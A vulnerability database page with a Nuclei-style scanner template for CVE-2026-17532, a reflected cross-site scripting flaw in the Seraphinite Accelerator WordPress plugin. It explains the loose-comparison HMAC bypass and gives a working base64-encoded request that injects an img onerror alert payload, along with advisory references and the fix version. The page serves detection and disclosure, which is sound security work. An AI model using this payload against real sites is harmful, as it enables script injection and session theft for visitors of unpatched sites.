Seraphinite Accelerator <= 2.29.18 - Cross-Site Scripting
| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| CVE-2026-17532 | 5 Aug 202606:37 | – | attackerkb | |
| CVE-2026-17532 | 5 Aug 202607:00 | – | circl | |
| CVE-2026-17532 | 5 Aug 202606:37 | – | cve | |
| CVE-2026-17532 Seraphinite Accelerator <= 2.29.18 - Reflected Cross-Site Scripting | 5 Aug 202606:37 | – | cvelist | |
| Exploit for CVE-2026-17532 | 5 Aug 202605:09 | – | githubexploit | |
| EUVD-2026-53175 | 5 Aug 202606:37 | – | euvd | |
| CVE-2026-17532 | 5 Aug 202608:16 | – | nvd | |
| WordPress Seraphinite Accelerator plugin <= 2.29.18 - Reflected Cross-Site Scripting vulnerability | 5 Aug 202612:17 | – | patchstack | |
| CVE-2026-17532 Seraphinite Accelerator <= 2.29.18 - Reflected Cross-Site Scripting | 5 Aug 202606:37 | – | vulnrichment |
id: CVE-2026-17532
info:
name: Seraphinite Accelerator <= 2.29.18 - Cross-Site Scripting
author: 0x_Akoko
severity: medium
description: |
The Seraphinite Accelerator plugin for WordPress up to and including 2.29.18 was vulnerable to reflected cross-site scripting through the seraph_accel_prep parameter. CacheExtractPreparePageParams() compared the expected HMAC against the JSON-decoded nonce with PHP's loose != operator, so a JSON boolean true satisfied the comparison and bypassed the signature check, and _CbContentFinishSkip() then concatenated the attacker-controlled selfTest field straight into the response body, letting unauthenticated attackers inject arbitrary scripts.
impact: |
An unauthenticated attacker could run arbitrary JavaScript in a victim's browser by luring them to a crafted link, leading to session theft or actions performed as the victim.
remediation: |
Update Seraphinite Accelerator to version 2.29.19 or later.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/seraphinite-accelerator/seraphinite-accelerator-22918-reflected-cross-site-scripting
- https://plugins.trac.wordpress.org/browser/seraphinite-accelerator/trunk/common.php
- https://nvd.nist.gov/vuln/detail/CVE-2026-17532
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2026-17532
epss-score: 0.00347
epss-percentile: 0.27622
cwe-id: CWE-79
metadata:
verified: true
max-request: 1
vendor: seraphinite
product: seraphinite-accelerator
framework: wordpress
fofa-query: body="seraphinite-accelerator"
tags: cve,cve2026,wordpress,wp,wp-plugin,seraphinite,xss
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 3
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "seraphinite-accelerator")'
condition: and
internal: true
- raw:
- |
GET /?seraph_accel_prep=eyJub25jZSI6dHJ1ZSwic2VsZlRlc3QiOiI8aW1nIHNyYz14IG9uZXJyb3I9YWxlcnQoZG9jdW1lbnQuZG9tYWluKT4ifQ%3D%3D HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "selfTest-<img src=x onerror=alert(document.domain)>"
- type: word
part: content_type
words:
- "text/html"
- type: status
status:
- 200
# digest: 4a0a00473045022100fd51898fe17d4f57da6958d180789a54e3e229a920300b0997d9dff32feb6ada02200186babb9e93c16fc9b24416397d9d90913ef6dc3ca2adeb3b0861dde5635374:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
06 Aug 2026 01:56Current
5.1Medium risk
Vulners AI Score5.1
CVSS 3.16.1
EPSS0.00561
SSVC